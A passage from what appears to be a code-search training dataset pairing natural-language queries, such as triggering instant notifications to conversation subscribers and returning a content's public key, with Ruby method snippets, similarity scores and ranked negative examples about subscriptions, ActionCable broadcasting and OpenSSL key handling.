false\n end", "def tiny_members\n return @members unless large?\n\n @members.select { |e| e.status != :offline }\n end", "def is_member_in(group)\n unless group.members.include? current_user\n flash[:danger] = \"Devi essere un membro per accedere ad un gruppo ed alle sue informazioni\"\n redirect_to groups_path\n end\n end" ]
[ "0.7368867", "0.71844834", "0.7150458", "0.6788403", "0.6552314", "0.6529718", "0.6521204", "0.64746785", "0.64307797", "0.64015716", "0.6372366", "0.63213927", "0.63060844", "0.6304082", "0.62970036", "0.625701", "0.6233059", "0.62132126", "0.62043387", "0.6193539", "0.619197", "0.6139914", "0.6095895", "0.60820234", "0.6062444", "0.60572916", "0.60437196", "0.60396683", "0.60384417", "0.60248536", "0.60134304", "0.6010991", "0.601051", "0.6008415", "0.6004208", "0.5978224", "0.5973683", "0.59612715", "0.59562194", "0.59527636", "0.5943896", "0.593665", "0.5931691", "0.5926756", "0.591656", "0.5904007", "0.5902777", "0.5900864", "0.5898467", "0.5897007", "0.5895354", "0.58941835", "0.5888289", "0.58768535", "0.58716875", "0.58427227", "0.583678", "0.5833297", "0.58287287", "0.5815002", "0.58089757", "0.5804928", "0.5803875", "0.57999104", "0.5794342", "0.57899845", "0.5787197", "0.5787197", "0.5781627", "0.57665396", "0.57635224", "0.5754231", "0.5751205", "0.57492584", "0.5745141", "0.5744503", "0.5742225", "0.57363796", "0.57297516", "0.572147", "0.571838", "0.57151794", "0.5713971", "0.5707624", "0.5707624", "0.5707445", "0.570703", "0.5703641", "0.5696386", "0.56834227", "0.56744885", "0.56721514", "0.5660705", "0.5656891", "0.5655234", "0.5646528", "0.56381124", "0.56301165", "0.562727", "0.56229526" ]
0.6519091
7
triggers instant notification to all subscribers to conversation channel
def trigger_instant_notification(key, data) PubSub::Publisher.new.publish_to(public_key, key, data) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def notify_subscribers\n NotificationSubscription.notify(self)\n end", "def notify\n @subscribers.each { |ident, (block,obj)| block.call(obj) }\n end", "def notify_subscribers\n NewAnswerNotificationMailer.notify_subscribers\n end", "def subscribe_channels\n @channels.each { |channel| subscribe(channel) }\n end", "def notify_receiver\n conversation = ConversationBlueprint.render_as_json(self, view: :normal)\n ActionCable.server.broadcast \"user_#{ self.user_two_id }_notification_channel\", conversation\n end", "def perform(campaign)\n campaign.apply_premailer\n campaign.list.subscriptions.availables.each do |s|\n campaign.push_notification(s)\n end\n end", "def subscribe_to_channel; end", "def notfiy_subscribers(params)\n subject = params[:subscribable]\n\n subject.subscribers.each do |subscriber|\n subscriber.notify(subject, params[:message])\n end\n\n continue(params)\n end", "def send_message_notification\n message = MessageBlueprint.render_as_json(self)\n ActionCable.server.broadcast \"conversation_#{ self.conversation_id }_notification_channel\", message\n # receiver = self.conversation.user_one_id == self.user_id ? self.conversation.user_two_id : self.conversation.user_one_id\n # response = self.attributes.merge(user: self.user&.name)\n # ActionCable.server.broadcast \"user_#{ receiver }_notification_channel\", response.as_json.to_s\n end", "def call\n users_to_notify.uniq.each do |recipient|\n Hyrax::MessengerService.deliver(user, recipient, message.html_safe, subject)\n\n mailer = workflow_message_mailer(to: recipient)\n mailer.send(mailer_method).deliver_later if mailer.respond_to?(mailer_method)\n end\n end", "def subscribed\n super\n increase_current_users\n stream_from channel\n end", "def notify_subscribers\n AdminMailer.notify_of_standard_change(self)\n end", "def push_many(channels, notification_view)\n return if channels.empty?\n message = notification_view.render_to_string\n Pusher.trigger_async(channels, EVENT, {message: message, type: notification_view.type.to_s}) \n end", "def notify_subscribers\n AdminMailer.notify_of_comment(self)\n end", "def send_notifications\n end", "def subscribe_notifications\n @subscribe_notifications ||= true\n end", "def initialize_subscribers\n @subscribers.each do |type, subscribers|\n channel = @channels[type]\n if channel\n subscribers.each do |subscriber|\n channel.subscribe do |message|\n EM.defer { subscriber.call(message) }\n end\n end\n end\n end\n end", "def notify_recipients\n self.send_at(scheduled_at, :queued_message_sending)\n end", "def notify_recipients\n self.send_at(scheduled_at, :queued_message_sending)\n end", "def subscribe_to_channel\n run_callbacks :subscribe do\n subscribed\n end\n\n reject_subscription if subscription_rejected?\n ensure_confirmation_sent\n end", "def notify_subscribers\n NotifierJob.perform_later(self)\n end", "def notify activity\n\n # people who are subscribed to the tags of the question\n t_subscribers = target.subscribers.all\n\n (t_subscribers).each do |subscriber|\n Notification.create :user => subscriber, :activity => activity\n end\n end", "def subscribed_people(logs)\n people = people_subscribed_to_logged_items logs\n people.select(&:receive_notifications?)\n end", "def notify(*args)\n subscribers.values.each { |subscriber| subscriber.call(*args) }\n end", "def subscribe\n \n @conversation.subscriptions << @user unless @conversation.subscriptions.exists?(@user.id)\n @notice = \"You will now receive email notifications about new replies in this conversation.\"\n \n respond_to do |format|\n format.html {\n redirect_to(@conversation, notice: @notice) and return\n return \n }\n format.js\n end\n\n end", "def subscribe_all\n @config.subscriptions.size.times do\n current\n select_next_consumer\n end\n end", "def set_members\n members_ids = params[:message][:recipient_ids].reject(&:empty?)\n members_ids.each do |members_id|\n @message = current_user.messages.create(:conversation_id => members_id , :body => params[:message][:body])\n\n #send notification\n reciver = User.find(members_id)\n if reciver.notification_setting.try(:new_update)\n Notification.create(recepient_id: members_id, user: current_user, body: \"#{current_user.screen_name } has send a message #{@message.topic} \", notificable: @message, :accept => false)\n end\n end\n end", "def subscribed; end", "def notification\n user = User.first\n comic = Comic.first\n SubscriptionMailer.notification(work: comic, user: user)\n end", "def subscribed\n stream_from channel_name\n end", "def notify activity\n\n # people who are subscribed directly to the question\n q_subscribers = self.subscribers.all\n\n # people who are subscribed to the tags of the question\n t_subscribers = self.tag_subscribers.all\n\n (q_subscribers + t_subscribers).each do |subscriber|\n Notification.create :user => subscriber, :activity => activity\n end\n end", "def fire_events_for_notification(event,sender)\n current_state.each {|cs| cs.fire_events_for_notification(event,sender) }\n end", "def subscribe\n conn = @cluster.connect\n conn.subscribe(ALL)\n conn.subscribe(SHARE)\n conn.subscribe(@channel)\n conn.on(:message) do |channel, message|\n @messages.push([channel, message])\n end\n end", "def call\n users_to_notify.uniq.each do |recipient|\n workflow_message_mailer(to: recipient).send(mailer_method).deliver_later\n end\n end", "def subscribe_all\n # Get an array of all the email addresses accociated with this devise class.\n emails = all.map(&:email).select {|e| Devise::Models::Campaignable.valid_campaign_email? e}\n\n # Ask the list managed to subscibe all of these emails.\n list_manager.batch_subscribe(emails)\n end", "def broadcast_to_channel\n if Setting.first.reminders_enabled\n ActionCable.server.broadcast 'notification_channel', notification: self.to_serialize\n end\n end", "def subscribe(data)\n # @channels (local tracker)\n # push channel name into subscribe list, if and only if not already in subscribe list\n end", "def tell_all(m, message)\r\n if_admin(m) do\r\n @bot.channels.each {|c| c.send(message) }\r\n end\r\n end", "def deliver!\n if pending_no_aggregation? and not user_has_unsubscribed?\n self.mark_as_sent!\n self.class.deliver_channels(self.id)\n end\n end", "def subscribed\n \t#stream_from 'demo_chan'\n end", "def subscribe!\n # TODO: Implement\n end", "def broadcasting_to_configured_subscribers\n subscribers = Renalware.config.broadcast_subscription_map[self.class.name]\n Array(subscribers).each{ |listener|\n subscribe(listener.to_s.constantize.new)\n }\n self\n end", "def subscribers\n AdminNotifier.subscribers(Subscriber.first)\n end", "def after_registration\n send_pending_messages\n end", "def notify( event, *args )\n @subscribers.values.each { |b| b.call(event, *args) }\n end", "def subscribe(channel, *channels, &block); end", "def send_to_all\n User.newsletters_allowed.each do |user|\n UserMailer.delay.new_newsletter(user, self)\n end\n end", "def subscribe\n self.subscribed = true\n end", "def subscribe_webhook\n @redis = EM::Hiredis.connect(Settings.redis)\n pubsub = @redis.pubsub\n pubsub.subscribe(subscribed_channel)\n pubsub.on(:message) do |channel, message|\n render(message, event: :webhook)\n end\n end", "def subscribe_to_channel(*)\n synchronize_entrypoint! { super }\n end", "def service_subscriptions\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('subscriptions')\n )\n )\n send_iq_stanza_fibered iq\n end", "def subscribe(*channels, &block); end", "def notify \n hosts = get_entity(\"hoststatus\")\n services = get_entity(\"servicestatus\")\n \n unless hosts.empty? and services.empty?\n @config[:subscribers].each do |subscriber|\n Notifier.send_notification({\n :hosts => hosts,\n :services => services,\n\n :from => @config[:smtp_settings][:user_name],\n :to => subscriber,\n :subject => @config[:subject],\n template: \"#{@config[:conf_dir]}/notification.html.erb\"\n }).deliver\n end\n else\n @logger.info(\"No hosts or services were found.\")\n end\n end", "def index\n @user_to_channel_subscriptions = UserToChannelSubscription.all\n end", "def subscribe(client_id, channel, &callback)\n super\n publish_awaiting_messages(channel)\n end", "def call(message)\n ids = @course.enrols.select(:user_id) .pluck(:user_id)\n ids.each do |id|\n ::Notification.create(user_id: 1, target_id: id, message: message)\n end\n true\n end", "def notify_subscribers_about_new_response(reply)\n subscribers.each do |user|\n user.with_user_locale do\n UserMailer.reply_notification(user.id, reply.id).deliver!\n end unless user == reply.user\n end\n end", "def subscribed # :doc:\n # Override in subclasses\n end", "def subscriptions\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('subscriptions',:node => node_id)\n )\n )\n send_iq_stanza_fibered iq\n end", "def subscribe\n \nend", "def perform (from=nil)\n if from.nil?\n subscribers = Octo::Subscriber.where(created_at: 24.hours.ago..Time.now.floor)\n else\n subscribers = Octo::Subscriber.where(created_at: from..Time.now.floor)\n end\n # MAIL CODE\n Octo.get_config(:email_to).each { |x|\n opts1 = {\n text: \"Today number of new susbcribes are \" + subscribers.length,\n name: x.fetch('name')\n }\n Octo::Email.send(x.fetch('email'), subject, opts1)\n }\n end", "def notifications\n end", "def listen_for_messages\n queue = @channel.queue(\"\")\n\n queue.bind(@exchange).subscribe do |delivery_info, metadata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end", "def index\n @conversations = Conversation.involving(current_user)\n conversations_new_message = Array.new\n unread = 0\n\n @conversations.each do |conversation|\n conversation.last_message = ActionView::Base.full_sanitizer.sanitize(conversation.messages.order('created_at').last.body[0..75])\n conversation.last_message_date = conversation.messages.order('created_at').last.created_at\n conversation.count_unread = conversation.messages.unread(conversation.id, current_user).size\n\n size = conversation.messages.unread(conversation.id, current_user).size\n if size > 0\n conversations_new_message.push(conversation)\n unread = unread + size\n end\n\n @subs=current_user.subscribtions\n end\n\n conversations_new_message.each do |conversation|\n set_messages_receive(conversation, false)\n end\n\n if unread > 0\n if unread == 1\n flash[:info] = t('welcome.you_have') + unread.to_s + t('welcome.unread_message')\n else\n flash[:info] = t('welcome.you_have') + unread.to_s + t('welcome.unread_messages')\n end\n end\n\n @invites = Invite.by_recipient_id(current_user.id).order('id');\n\n\n end", "def update\n Channel.channels_to_update\n end", "def get_conversations\n n = Notification.where(user_id:current_user)\n conversation_ids = Array.new\n n.each do |v|\n conversation_ids << v.conversation_id\n end\n conversations = Conversation.where(id:conversation_ids)\n\n end", "def subscription_mailer\n users_id = Subscription.where('category_id in (?)', self.categories.ids).distinct.pluck(:user_id)\n users_id.delete(self.user.id)\n if users_id.any?\n number_elements = ((users_id.size/25.to_f).round == 0 ? 1 : (users_id.size/25.to_f).round)\n users_id.each_slice(number_elements) {|array| UserMailer.delay.subscription(array, self.id) }\n end\n end", "def subscribers\n @subscribers ||= ActsAsIcontact::Subscription.contacts(:listId => id)\n end", "def broadcast message\n @clients.keys.each do |key|\n notify key, message\n end\n end", "def subscribed\n id = params.fetch(:id)\n return unless execution = JobQueue.find_by_id(id)\n\n execution.viewers.push current_user\n\n Thread.new do\n ActiveRecord::Base.connection_pool.with_connection do\n builder = EventBuilder.new(execution.job)\n execution.output.each do |event, data|\n transmit event: event, data: builder.payload(event, data)\n end\n # TODO: disconnect all listeners so they close their sockets ?\n # then replace the reloaded/finished/waitUntilEnabled stuff with that\n end\n end\n end", "def notify_observers(*args)\n return unless changed?\n\n unwrap(connection).exec \"NOTIFY #{channel}, #{args}\"\n\n changed false\n end", "def notify_via_service\n u = User.first\n u.update(last_notification_mail_sent: 30.days.ago)\n service = NotificationDigest.new(type: :notifications)\n service.notify_user(u, deliver: false)\n end", "def subscriptions; end", "def subscriptions; end", "def subscriptions; end", "def send_notification\n\n\n end", "def perform(data)\n user = User.find(data[\"user_id\"])\n ActionCable.server.broadcast 'chat_channel', content: data[\"content\"], username: user.email, id: user.id\n end", "def subscribers\n Hey::Subscriber.new api_token: api_token\n end", "def subscribe_to_newsletter\n SubscribeToNewsletterService.new(self).call\n end", "def notify\n notify_unmentioned_reviewers\n notify_mentioned_event_staff if mention_names.any?\n end", "def add_tracked_subscriptions(channel_ids)\n channel_ids.each do |channel_id|\n ys = self.youtube_subscriptions.find_by(channel_id: channel_id)\n ys.update_attributes(tracked: true) if ys\n end\n end", "def subscribe\n @conn.send_data :opcode => SUBSCRIBE, :channel => @name\n @subscribe_sent = true\n end", "def subscribe\n @board.subscribers << current_user\n redirect_to board_path(@board), notice: \"Boarda abone oldunuz.\"\n end", "def send_notifications\n send_new_post_to(:sender) if self.sender.notify_on_comment_posted\n send_new_post_to(:receiver) if self.receiver && self.receiver.notify_on_comment_received\n end", "def onotify (channel, *args)\n\n do_notify(:all, channel, *args)\n do_notify(channel, channel, *args)\n end", "def listen_for_messages\n @queue.subscribe do |_delivery_info, _metad5ata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end", "def notify_admins\n mentioned_admins.each do |mentioned|\n NotificationMailer.mentioned_email(self.admin, mentioned, self.admin_chatroom).deliver_now\n end\n end", "def notify_users\n board = Conversation.find(conversation_id).board\n if (board.public)\n users = User.ids - [user_id]\n users.each do |u|\n Notification.create(user_id: u, comment_id: id, conversation_id: conversation_id)\n end\n else #if the board is not public, Notifications are sent to the specific people.\n role_applications = RoleApplication.where(status: 'Approved')\n role_applications.each do |app|\n Notification.create(user_id: app.user_id, comment_id: id, conversation_id: conversation_id) if app.user_id != user_id\n notify_production_team\n end\n end\n end", "def listen_on(channel)\n sns.subscribe(\n topic_arn: channel.arn,\n protocol: 'application',\n endpoint: channel.endpoint\n )\n end", "def push_notification\n UserMailer.new_message(self).deliver_now\n end", "def notify\n puts 'Subject: Notifying observers...'\n @observers.each { |observer| observer.update(self) }\n end", "def update_newsletter_subscription!\n return unless self.user.present?\n\n if self.receives_newsletter?\n NewsletterSubscriptionsWorker.perform_async(:subscribe, self.user.email)\n else\n NewsletterSubscriptionsWorker.perform_async(:unsubscribe, self.user.email)\n end\n end", "def subscribe\n CampaignMonitorWrapper.subscribe(id: user.id, email: user.email, name: user.name, beta: user.beta?.to_s, billable: user.billable?.to_s)\n end", "def update_subscriber_list\n @mandrill = Mandrill::API.new 'nDSi_tYPhOy6QpG8Kn_lqg'\n @subscriber_list = User.where(isSubscribed: true)\n end", "def broadcast_message(text)\n @users.each {|u| u.enqueue_message(text) }\n end", "def notify_users(action)\n sender = user\n recipients = []\n\n # Send to people who have registered interest.\n interests.each do |interest|\n recipients.push(interest.user) if interest.state\n end\n\n # Tell masochists who want to know about all observation changes.\n User.where(email_observations_all: true).find_each do |user|\n recipients.push(user)\n end\n\n # Send notification to all except the person who triggered the change.\n recipients.uniq.each do |recipient|\n next if !recipient || recipient == sender || recipient.no_emails\n\n case action\n when :destroy\n QueuedEmail::ObservationChange.destroy_observation(sender, recipient,\n self)\n when :change\n QueuedEmail::ObservationChange.change_observation(sender, recipient,\n self)\n else\n QueuedEmail::ObservationChange.change_images(sender, recipient, self,\n action)\n end\n end\n end", "def will_notify\n #Resque.safe_enqueue Notification, to_user_id, id, APP::NOTIFICATIONS::MESSAGE\n end", "def subscribe_to_default_channels\n #User.find_by_username(\"brevidy\").channels.where(:recommended => true).each { |c| c.subscribe!(self) } unless Rails.env.test?\n end", "def deliver\n if session[:user_id] then\n EVENT_LOG.tagged(DateTime.now, 'ADMIN') { EVENT_LOG.info('Test-firing message push to devices') }\n User.all.each do |user|\n if rand > 0.5\n user.send_notification('test broadcast', :message)\n else\n user.send_notification(\"Please create a weekly entry\", :reminder)\n end\n end\n Rpush.push\n render nothing: true, status: :ok\n else\n redirect_to admin_login_url\n end\n end", "def notify_couriers\n @current_time = Time.zone.now\n\n @packages = find_packages(application_params[:city_db_id])\n\n @emails = find_emails(application_params[:city_db_id])\n\n ## Create list of recipients as array of strings\n @recipients = []\n @emails.each do |email|\n @recipients << email.email_value\n end\n\n # Tell the Emailer to send a notification email to all couriers\n Emailer.packages_notification(@current_time,@packages,@recipients).deliver\n end", "def notify_users\n case action_type\n when Type::JOIN_GROUP\n if actionable.is_a? Group\n actionable.users.each do |notification_user|\n if notification_user != user\n Notification.new({\n user: notification_user,\n group: actionable,\n organization: actionable.organization,\n conversation: nil,\n action: self\n }).save!\n end\n end\n end\n when Type::POST_MESSAGE\n if actionable.is_a? Conversation\n # For the first message we will post a START_CONVERSATION notification\n unless actionable.messages.count == 1\n actionable.group.users.each do |notification_user|\n if notification_user != user\n Notification.new({\n user: notification_user,\n group: actionable.group,\n organization: actionable.group.organization,\n conversation: actionable,\n action: self\n }).save!\n end\n end\n end\n end\n when Type::START_CONVERSATION\n if actionable.is_a? Conversation\n # For the first message we will post a START_CONVERSATION notification\n actionable.group.users.each do |notification_user|\n if notification_user != user\n Notification.new({\n user: notification_user,\n group: actionable.group,\n organization: actionable.group.organization,\n conversation: actionable,\n action: self\n }).save!\n end\n end\n end\n else\n puts \"Unknown action type: #{action_type} for notifications.\"\n end\n end" ]
[ "0.6838305", "0.6679473", "0.6444159", "0.6392926", "0.63536465", "0.6348268", "0.6326981", "0.63025975", "0.62738454", "0.6271598", "0.6204482", "0.6173919", "0.6169095", "0.61656386", "0.61560804", "0.61180896", "0.61115265", "0.6054896", "0.6054896", "0.60308975", "0.6011244", "0.5971946", "0.5967104", "0.59637755", "0.5957431", "0.59545624", "0.59463954", "0.5934635", "0.5933642", "0.5928245", "0.592163", "0.590527", "0.58705986", "0.58700943", "0.5848582", "0.58337444", "0.5829244", "0.58163935", "0.5810737", "0.5804163", "0.57855755", "0.57388437", "0.57299757", "0.5729926", "0.57073605", "0.57012254", "0.5699043", "0.5697871", "0.5695055", "0.56917393", "0.5690083", "0.56865835", "0.5673963", "0.5673737", "0.56670433", "0.5663071", "0.56524986", "0.5645412", "0.56418705", "0.5636647", "0.56196314", "0.56168735", "0.56145", "0.56118685", "0.561109", "0.5609259", "0.56049097", "0.5594971", "0.55940723", "0.5585267", "0.5577698", "0.55582404", "0.5547489", "0.5547489", "0.5547489", "0.55424297", "0.55369806", "0.55283004", "0.55212545", "0.55195266", "0.5508428", "0.550744", "0.55044234", "0.54971886", "0.54958993", "0.54883885", "0.5487393", "0.54828125", "0.5459478", "0.5444544", "0.5436903", "0.5436451", "0.5436114", "0.5428038", "0.542575", "0.54175663", "0.5414902", "0.54138345", "0.5407789", "0.54068077", "0.54042894" ]
0.0
-1
return the public key of this content
def public_key Base64.encode64("conversation_#{id}").gsub(/(=|\n)/, '') << id.to_s.last end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def public_key\n @pub\n end", "def public_key\n @priv.public_key\n end", "def get_public_key\n return @public_key\n end", "def public_key\n @public_key.to_der\n end", "def public_key\n return @children['public-key'][:value]\n end", "def public_key_data\n @public_key\n end", "def public_key\n @cert.public_key\n end", "def public_key\n @cert.public_key\n end", "def public_key\n OpenSSL::PKey.read(public_to_der)\n end", "def public_key\n OpenSSL::PKey.read(public_to_der)\n end", "def public_key\n return self.authentication.public_key\n end", "def public_key\n return self.authentication.public_key\n end", "def public_key\n public_key_object.to_pem\n end", "def public_key\n @public_key ||= load_key(@public_key_file)\n end", "def public_key\n @data_public_key ||= load_public_key\n end", "def public_key; end", "def public_key; end", "def public_key; end", "def public_key\n Akero.replate(@cert.to_s, Akero::PLATE_CERT)\n end", "def public_key\n as_public_key(rpc(:account_key, _access: :key))\n end", "def public_key\n # Base64 encode without line feeds\n Base64.strict_encode64(public_key_raw)\n end", "def public_key_hash\n Crypto.hash_public_key(public_key)\n end", "def public_key\n require_key\n\n @private_key.public_key.to_pem\n end", "def public_key\n encode64(curve.public_key.to_bn.to_s(2))\n end", "def one_time_public_key\n token = generate_token('get_encription_public_key', @public_key)\n response = commit(:pci_encryption_key, token: token)\n response.params['encryption_key']\n end", "def public_key_string\n [@public_key.to_s].pack(\"m*\").gsub(\"\\n\", \"\")\n end", "def public_key\n encode_tz(:edpk, 32)\n end", "def to_bytes\n @public_key\n end", "def public_key\n DH.new(to_der)\n end", "def public_key=(k)\n return self.authentication.public_key = k\n end", "def public_key=(k)\n return self.authentication.public_key = k\n end", "def public_key(arg = nil)\n set_or_return(\n :public_key,\n arg,\n kind_of: String\n )\n end", "def public_key_for_push_header\n trim_encode64(curve.public_key.to_bn.to_s(2))\n end", "def public_id(key, filename = nil, content_type = '')\n public_id = key\n if resource_type(nil, key) == 'raw'\n public_id = [key, ext_for_file(key, filename, content_type)].reject(&:blank?).join('.')\n end\n\n full_public_id_internal(public_id)\n end", "def public_key\n return @public_key if File.exist?(@agent_file) && File.exist?(@key_file)\n # create the agent and key if at least one file does not exist (anymore)\n create_agent_key_combo\n @public_key\n end", "def key\n ECDSA.build_key(public_key, private_key)\n end", "def ecdh_public_key_bytes; end", "def get_public_key(private_key)\n PointG1.from_private_key(private_key)\n end", "def public_key_params\n params[:public_key]\n end", "def public_key_params\n params[:public_key]\n end", "def public_rsa\n @public_rsa ||= OpenSSL::PKey::RSA.new(@public_key)\n end", "def public_rsa\n @public_rsa ||= OpenSSL::PKey::RSA.new(@public_key)\n end", "def public_keys\n @public_keys\n end", "def pubkey\n end", "def export_public_key\n public_key = context.crypto.extract_public_key(private_key)\n VirgilBuffer.from_bytes(context.crypto.export_public_key(public_key))\n end", "def pubkey\n # Split every 2 bytes\n paths = combined_hash.unpack('S>*')\n paths.inject(payment_base) { |key, p| key.derive(p) }\n end", "def private_key\n @key\n end", "def pubek\r\n Tem::Key.new_from_ssl_key endorsement_cert.public_key\r\n end", "def ext_pubkey\n k = ExtPubkey.new\n k.depth = depth\n k.number = number\n k.parent_fingerprint = parent_fingerprint\n k.chain_code = chain_code\n k.pubkey = key.pubkey\n k.ver = priv_ver_to_pub_ver\n k\n end", "def get_public_key\n # Obtain public key\n pem_cert = Env.instance['RSA_PUBLIC_KEY_PATH']\n begin\n public_key = File.read(pem_cert)\n return public_key\n rescue => err \n $stderr.puts \"ERROR: missing RSA_PUBLIC_KEY_PATH in env.yml'\"\n end\n nil\n end", "def set_public_key\n @public_key = PublicKey.find(params[:id])\n end", "def set_public_key\n @public_key = PublicKey.find(params[:id])\n end", "def public_key(format: :z85)\n case format\n when :z85\n ffi_delegate.public_txt.force_encoding(Encoding::ASCII)\n when :binary\n ffi_delegate.public_key.read_string(32)\n else\n raise ArgumentError, format('invalid format: %p', format)\n end\n end", "def ext_pubkey\n k = ExtPubkey.new\n k.depth = depth\n k.number = number\n k.parent_fingerprint = parent_fingerprint\n k.chain_code = chain_code\n k.pubkey = key.pubkey\n k\n end", "def server_public_key\n raise(\"No ssl_server_public configuration option specified\") unless @config.pluginconf.include?(\"ssl_server_public\")\n return @config.pluginconf[\"ssl_server_public\"]\n end", "def public_key=(_); end", "def public_key=(_); end", "def masa_pki\n masakey.public_key.to_der\n end", "def publickey hashid, &block\n em_get( \"/clients/#{uuid}/#{hashid}/publickey\" ) { |response| block.call( response ) }\n end", "def public_file\n File.join @ssh_home, @ssh_id + \".pub\"\n end", "def client_public_key\n return ENV[\"MCOLLECTIVE_SSL_PUBLIC\"] if ENV.include?(\"MCOLLECTIVE_SSL_PUBLIC\")\n\n raise(\"No plugin.ssl_client_public configuration option specified\") unless @config.pluginconf.include?(\"ssl_client_public\")\n\n return @config.pluginconf[\"ssl_client_public\"]\n end", "def encrypt_and_return_object_content(public_key_file, content)\r\n public_key = OpenSSL::PKey::RSA.new(File.read(public_key_file))\r\n Base64.encode64(public_key.public_encrypt(content))\r\nend", "def private_key\n @priv\n end", "def full_public_id_internal(key)\n public_id = public_id_internal(key)\n\n return public_id unless @options[:folder]\n\n File.join(@options.fetch(:folder), public_id)\n end", "def set_public_key\n @public_key = PublicKey.first || PublicKey.create(body: 'public key body', algorithm: PublicKey::ALGORITHMS.first)\n end", "def get_key\n @key = Base64.decode64('MzRlZTc5ODMtNWVlNi00MTQ3LWFhODYtNDQzZWEwNjJhYmY3NzQ0OTNkNmEtMmExNS00M2ZlLWFhY2UtZTc4NTY2OTI3NTg1Cg==')\n end", "def jwks_public_cert(x5c)\n x5c = Base64.decode64(x5c)\n\n # https://docs.ruby-lang.org/en/2.4.0/OpenSSL/X509/Certificate.html\n OpenSSL::X509::Certificate.new(x5c).public_key\n end", "def to_rsa_pkey\n FrontEndBuilds::Utils::SSHPubKeyConvert\n .convert(pubkey)\n end", "def public_key(private_key)\n private_key_int = private_key.to_i(16)\n KeyGen::GROUP.generator.multiply_by_scalar(private_key_int)\n end", "def public_key\n @key ||= File.read(\"#{ENV['HOME']}/.ssh/id_rsa.pub\")\nend", "def public_key_fingerprint\n Cryptosphere.kdf(public_key).unpack('H*').first.scan(/.{4}/).join(\":\")\n end", "def url\n unless @url\n conf = Grape::Jwt::Authentication.configuration\n return conf.rsa_public_key_url\n end\n @url\n end", "def load_public_key(filename); end", "def extract_public_key(options)\n extract_key(options[:public_key] || options[:key_pair] || ENV['PUBLIC_KEY'])\n end", "def public_key_file(callerid = nil)\n if @initiated_by == :client\n return server_public_key\n else\n if callerid =~ /cert=([\\w\\.\\-]+)/\n cid = $1\n\n if File.exist?(\"#{client_cert_dir}/#{cid}.pem\")\n return \"#{client_cert_dir}/#{cid}.pem\"\n else\n raise(\"Could not find a public key for #{cid} in #{client_cert_dir}/#{cid}.pem\")\n end\n else\n raise(\"Caller id is not in the expected format\")\n end\n end\n end", "def ssh_public=(key_content)\n @ssh_public_file = temp_file_manager.path('key.pub')\n IO.write(@ssh_public_file, key_content)\n end", "def pub_id\n\t\treturn self.id\n\tend", "def private_key\n @private_key.to_der\n end", "def extension_id\n raise Tay::PrivateKeyNotFound.new unless private_key_exists?\n\n public_key = OpenSSL::PKey::RSA.new(File.read(full_key_path)).public_key.to_der\n hash = Digest::SHA256.hexdigest(public_key)[0...32]\n hash.unpack('C*').map{ |c| c < 97 ? c + 49 : c + 10 }.pack('C*')\n end", "def get_public_key(pub_key_url, reload = false)\n unless pub_key_url.start_with?(PUB_KEY_URL_PREFIX) ||\n pub_key_url.start_with?(PUB_KEY_URL_PREFIX_S)\n fail \"Invalid public key URL: #{pub_key_url}\"\n end\n\n if reload || @pub_key.nil?\n @pub_key = open(pub_key_url) { |f| f.read }\n end\n\n @pub_key\nend", "def encryption_key\n return @encryption_fu_attrs['-encryption-key-'] if @encryption_fu_attrs['-encryption-key-']\n \n public_key = self.send self.encryption_fu_options[:public_key_field]\n if public_key.blank?\n public_key = self.generate_public_encryption_key\n self.send \"#{self.encryption_fu_options[:public_key_field]}=\".to_sym, public_key\n end\n private_key = self.private_encryption_key\n \n @encryption_fu_attrs['-encryption-key-'] = Digest::SHA256.hexdigest(\"-#{private_key}-#{public_key}-\")\n end", "def transcend_public_key\n connection = Faraday.new() do |conn|\n conn.request :authorization, 'Bearer', $TRANSCEND_API_KEY\n conn.method :get\n end\n response = connection.get($PUBLIC_KEY_URL)\n OpenSSL::PKey.read(response.body)\nend", "def signature_key; end", "def key\n return @key\n end", "def key\n return @key\n end", "def key_id\n return @key_id\n end", "def key_id\n return @key_id\n end", "def key_id\n return @key_id\n end", "def public_url\n requires :key\n self.collection.get_url(self.key)\n end", "def load_public_key\n @public_rsa = nil\n \n if public_key_file && File.file?(public_key_file)\n @public_key = File.read(public_key_file)\n end\n end", "def public_key_hash(hex)\n\t\trmd160(sha256(hex))\n\tend", "def friend_public_key= value\n self[:friend_public_key] = value.to_s\n end", "def public_encrypt(plaintext)\n @public_key.public_encrypt(plaintext)\n end", "def key\n Key.new(text: @head.fetch[3])\n end", "def bits\n self.class.ssh_public_key_bits(ssh_public_key)\n end", "def to_script_pubkey\n v = ver == 0 ? ver : ver + 0x50\n ([v, prog.length] + prog).pack('C*').unpack(\"H*\").first\n end", "def key\n @key\n end", "def key\n @key\n end", "def public_encrypt(data)\n Base64.encode64(@key.public_encrypt(data))\n end", "def signing_key\n @signing_key\n end" ]
[ "0.86189103", "0.84844714", "0.8320904", "0.83162844", "0.827178", "0.8198206", "0.8149033", "0.8129014", "0.8073511", "0.8073511", "0.8015189", "0.8015189", "0.78855234", "0.78288394", "0.77737325", "0.77567965", "0.77567965", "0.77567965", "0.7723202", "0.77060354", "0.7672052", "0.7617589", "0.76087743", "0.7524955", "0.749997", "0.74731153", "0.74244374", "0.738431", "0.7226535", "0.7137587", "0.7137587", "0.70568776", "0.701762", "0.69727486", "0.695727", "0.6911444", "0.68982", "0.6892331", "0.6870242", "0.6870242", "0.68497604", "0.68497604", "0.6846099", "0.684027", "0.6811126", "0.6752249", "0.67454165", "0.6725332", "0.6723022", "0.67111266", "0.6710376", "0.6710376", "0.6662903", "0.6645659", "0.660047", "0.65965796", "0.65965796", "0.6590763", "0.65820795", "0.6537937", "0.65202", "0.6459967", "0.6413165", "0.6403603", "0.6402432", "0.6388363", "0.6337225", "0.6336919", "0.6312769", "0.6310893", "0.6291302", "0.6285985", "0.62764335", "0.62597567", "0.62111616", "0.62032944", "0.6194255", "0.61778873", "0.6168743", "0.61663216", "0.6132724", "0.61314034", "0.61188304", "0.61188155", "0.61188155", "0.611201", "0.611201", "0.611201", "0.6095175", "0.60794204", "0.6078664", "0.6053307", "0.60430086", "0.60416484", "0.6032634", "0.60271686", 